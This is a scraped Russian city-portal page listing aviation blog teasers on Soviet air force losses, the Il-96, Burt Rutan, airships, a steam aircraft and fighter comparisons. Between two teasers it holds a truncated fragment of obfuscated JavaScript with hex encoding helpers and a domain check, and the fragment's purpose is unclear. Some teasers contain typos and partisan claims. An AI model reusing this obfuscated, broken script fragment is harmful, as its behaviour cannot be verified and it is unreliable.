Регистрация Вход
Город
Город
Город

Поиск статей

Поделитесь с друзьями:

Немного об истории гражданского воздушного флота в СССР




Немного об истории Гражданского Воздушного Флота СССР

 
Дальше…

Советская авиация понесла наименьшие потери во Второй Мировой войне из всех воюющих держав.



На фото лётчики Герои и двады Герои Советского Союза.
Наткнулся тут в Сети на интересные данные, сопоставляющие потери ВВС всех стран - участников Второй мировой войны:  http://forum.guns.ru/forummessage/205/81 3676-2.html  Интересно, получается авиация СССР понесла наименьшие потери из всех воюющих стран, причём действительно ВСЕХ, как стран антигитлеровской коалиции, так и "держав Оси".

 
Дальше…

День Военно-воздушных сил России

12 августа 1912 года по Военному ведомству России был издан приказ, согласно которому вводился в действие Штат воздухоплавательной части Главного управления Генерального штаба. В ознаменование этого события 12 августа принято считать началом создания военной авиации России, а сама дата явилась основанием для учреждения профессионального праздника пилотов воздушного флота и работников авиационной инфраструктуры - Дня ВВС России (Указ Президента РФ № 949 от 29 августа 1997 года «Об установлении Дня Военно-воздушных сил»). На заре истории Военно-воздушного флота основной функцией авиации являлась разведка. После появления знаменитого «Ильи Муромца» И.И. Сикорского начала развиваться дальняя авиация.

 
Дальше…

Как убивали, но не добили Ил-96

 А все начиналось так замечательно! В начале 90-х годов между ОКБ Ильюшина и компаниями «Пратт энд Уитни» (двигатели) и «Коллинз» (приборное оборудование) был подписан контракт о создании совместного самолета Ил-96М на базе российского планёра. В 1993 году прототип самолета, способного брать на борт 435 пассажиров и имеющего дальность почти в 13 тыс. километров, уже летал. А вскоре был сертифицирован как в России, так и в США. Открывалась прекрасная перспектива выхода на внешние рынки.

2

 
Дальше…

Летать, как птица

Чем-то мне нынешнее время напоминает золотой век эры стимпанка: новинки технического прогресса появляются постоянно. Причем, их создают не только огромные компании и государственные КБ, но и любой энтузиаст (или небольшая группа энтузиастов) с правильно заточенными руками может сотворить небывалый образчик техники. В данном посте собраны несколько последних достижений по исполнению извечной мечты человека летать, как птица. 


 
Дальше…

Воздушный титан Airlander

Признаться, я думал, что проекты дирижаблестроения в мире заморожены: сначала экономический кризис 2008-2099 гг, а теперь еще и падение цен на нефть, а занчит и на топливо для самолетов. Но нет, энтузиасты не сдаются. Один из таких проектов: дирижабль Airlander компании Hybrid Air Vehicles уже близок к завершению. На фото - воздушный титан Airlander 10, который в настоящий момент строится в одном гигантском ангаре в Англии. 




 
Дальше…

Воздушные авианосцы


Я уже делал как-то пост об авиационной торпеде, запускаемой с дирижабля, которую создали немцы в конце Первой Мировой. А данный пост – об воздушных авианосцах: дирижаблях, используемых в качестве платформ-носителей авиации. Идея разрабатывалась в нескольких странах и, но практическое воплощение было осуществлено только в США. Конечно, выглядели дирижабли-авианосцы иначе, чем на данных фантастических картинках: куда прозаичнее, но зато технологичнее.



 
Дальше…

Томский авиаспортклуб ДОСААФ проводит набор спортсменов-парашютистов.

Количество мест ограничено.

Уточняю: те, кто хочет просто прыгнуть один-два раза - это не для вас. Речь идет о спортивной парашютной подготовке по соответствующей программе.

 4



// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "gorod.tomsk.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
 
Дальше…

Гигантские дроны Google и Facebook: интернет с неба



Google и Facebook купили себе по беспилотному самолету, чтобы обеспечить все человечество бесплатным интернетом.

 
Дальше…

Авиация без керосина


Команда разработчиков под руководством конструктора и пилота Дидье Эстейна (Didier Esteyne) в конце апреля провела на юго-западе Франции первое публичное испытание E-Fan — лёгкого двухместного самолёта, которому для полёта нужна только электроэнергия. Самолет E-Fan - одна из передовых научных разработок компании Airbus, входящей в состав Европейского аэрокосмического и оборонного концерна (EADS).

 
Дальше…

«Бомбардировщики»




«Мы летим, ковыляя во мгле,
Мы ползем на последнем крыле.
Бак пробит, хвост горит и машина летит,
На честном слове и на одном крыле…»

 
Дальше…

Самолеты и космолеты Рутана Бёрта




В предыдущем посте о неординарном авиаконструкторе Бёрте Рутане мы остановились на самолете «Вояджер», совершившим кругосветный полет и сделавшим Рутана всемирно известным. Однако на этом список рекордных самолетов Бёрта Рутана – и не только самолетов – не исчерпывается.

 
Дальше…

Самолеты Бёрта Рутана




Бёрт Рутан стал всемирно популярным в 1986 году, когда на самолёте его конструкции «Вояджер» впервые в истории был совершён беспосадочный облёт вокруг земного шара – длина трассы действительно немного превысила длину экватора нашей планеты.

 
Дальше…

Легендарному авиаконструктору Сергею Владимировичу Ильюшину – 120 лет



Ровно 120 лет назад, 30 марта 1894 года в небольшом вологодском селе Диялево появился на свет Сергей Владимирович Ильюшин – выдающийся советский авиаконструктор, трижды герой Социалистического Труда (награждения – 1941, 1957 и 1974 годы), генерал-полковник инженерных войск (1964 год), академик АН СССР, семикратный лауреат Сталинских премий. При этом Ильюшин стал абсолютным лидером по количеству награждений Сталинской премией. Сергей Ильюшин подари стране такие прославленные самолеты, как штурмовик Ил-2, бомбардировщики Ил-4 и Ил-28, пассажирский самолет Ил-62.

 
Дальше…

Паролет - а все-таки он летает!





Пароходы, паровозы, паромобили - для передвижения по суше и воде век пара дал миру множество действующих и вполне эффективных образцов техники. Но вот что касается воздушного океана... Роль средства для передвижения по воздуху в стимпанке прочно занял дирижабль - как в реальной истории, так почти и во всех фантастических произведениях в жанре стимпанка. Слишком много было неудачных попыток создать аэроплан с паровым двигателем - что мнение о нереальности паролета чуть ли не стало общепризнанным фактом.

И все-таки паролет был таки создан - и летал, успешно конкурируя с самолетами, оснащенными бензиновыми ДВС.

 
Дальше…

Паролет: а все-таки он летает!

Пароходы, паровозы, паромобили - для передвижения по суше и воде век пара дал миру множество действующих и вполне эффективных образцов техники. Но вот что касается воздушного океана...

Роль средства для передвижения по воздуху в стимпанке прочно занял дирижабль - как в реальной истории, так почти и во всех фантастических произведениях в жанре стимпанка. Слишком много было неудачных попыток создать аэроплан с паровым двигателем - мнение о нереальности паролета чуть ли не стало общепризнанным фактом.

И все-таки паролет был таки создан - и летал, успешно конкурируя с самолетами, оснащенными бензиновыми ДВС.

 
Дальше…

Хайтек стимпанка - «Torpedogleiter»

Думаю, что предыдущие мои посты, посвященные стимпанку, уже убедили, что стимпанк может быть весьма технологичным. Но на сколько? Возможны ли всякие высоко-технологические образчики автомобилей, кораблей, дирижаблей и прочей техники, которыми переполнены фантастические произведения в стиле «стимпанк»?

Как показывает реальная история – вполне возможны. И, как наглядный пример, - «Torpedogleiter» - «Торпеда-планер», аналог современных БПЛА и крылатых ракет.

 
Дальше…

Су-35 vs F-35. «Дядя избивает дубинкой ребенка»




Является ли наиболее скрытный американский боевой самолет F-35 легкой добычей истребителя Су-35? Некоторые считают, что это совершенно верное утверждение, пишет indrus.in 26 июля.

 
Дальше…

Шереметьево


 

Шереметьево - мой любимый аэропорт. Конечно, то что с ним сделали любить сложно, особенно новые терминалы. Посмотрите на шикарный Шереметьево-1 с потрясающим посадочным зданием, которое в народе получило название «рюмка»! Это же шедевр! Даже старый Шереметьево-2 с его медными потолками был очень милым. А что теперь? Построили новый терминал Д (стекляшка аэрофлотовкая), ну что это такое? Все какое-то тесное, с одного этаж на другой хрен пройдешь, ужасный дизайн интерьеров, ужасные материалы отделки. Провинциальный торговый центр, а не аэропорт. Про терминал Е и говорить не хочется. Он зажат между старым вторым терминалом (теперь Ф) и стекляшкой Д. По архитектуре он больше напоминает Ашан, а не аэропорт. В общем, все хорошее, что было в Шереметьево уничтожили.

 
Дальше…

Самые странные самолёты за всю историю авиации

 Be-200 – русский многофункциональный самолёт-амфибия, спроектированный
в конструкторском бюро Бериева в 1998 году.



 

 
Дальше…

«Русский витязь» инженера Игоря Сикорского



100 лет назад, 26 мая 1913 года, совершил первый полет первый в мире многомоторный самолет «Русский витязь» инженера Игоря Сикорского.

 
Дальше…

Русский сокол



Этот человек поставил первый в России мировой рекорд дальности перелета. Он первым из русских военных летчиков во время мировой войны был удостоен военного ордена Святого Георгия. Именно он стал первым не принадлежащим к царской фамилии начальником Полевого управления авиации и воздухоплавания действующей армии, фактически — главкомом.

 
Дальше…

Вертолет Ка-52 способен противостоять наступлению целой армии




На юге России на дежурство заступили вертолеты Ка-52. Уникальная боевая машина способна выполнять задачи в любых погодных условиях и поражать цели на расстоянии до 10 километров. По словам специалистов, всего дюжина таких вертолетов способна противостоять наступлению целой армии.

 
Дальше…

Пентагон пытается запустить в воздух «топор» пятого поколения




Эксперимент, на который налогоплательщики США уже истратили более 1 трлн долларов, признан неудачным. Мало того, что потрачена колоссальная сумма, неудача поставила в затруднительное положение военное ведомство США, а западные военные эксперты оценили ее как «стратегический провал». Это не преувеличение: военная доктрина страны прямо указывает основной ударной силой, наиболее важным родом войск – авиацию. Всю - вертолетную и реактивную, палубную и аэродромную, штурмовую и бомбардировочную и т.д. Удар, который военная промышленность нанесла по обороноспособности США, оказался крайне болезненным для всех слоев общества, а кроме того, пошатнул позиции США на рынке современных высокотехнологичных вооружений.

 
Дальше…

«Белая лилия» Сталинграда

К 80-летию окончания СТАЛИНГРАДСКОЙ БИТВЫ

Лидия Литвяк, самая результативная женщина — истребитель Второй Мировой войны, по воспоминаниям сослуживцев, была образцом женственности и обаяния. Невысокая белокурая девушка очень сдержанно относилась к восторженным взглядам и словам однополчан и, что особенно импонировало лётчикам, никому не отдавала предпочтения. Главным для неё была борьба с фашизмом, и этому она отдавала все свои силы.

 
Дальше…
 
Посты 1—25   из   192 следующая страница
Страницы: 1 | 2 | 3 | 4 | 5 | 6 | 7 ...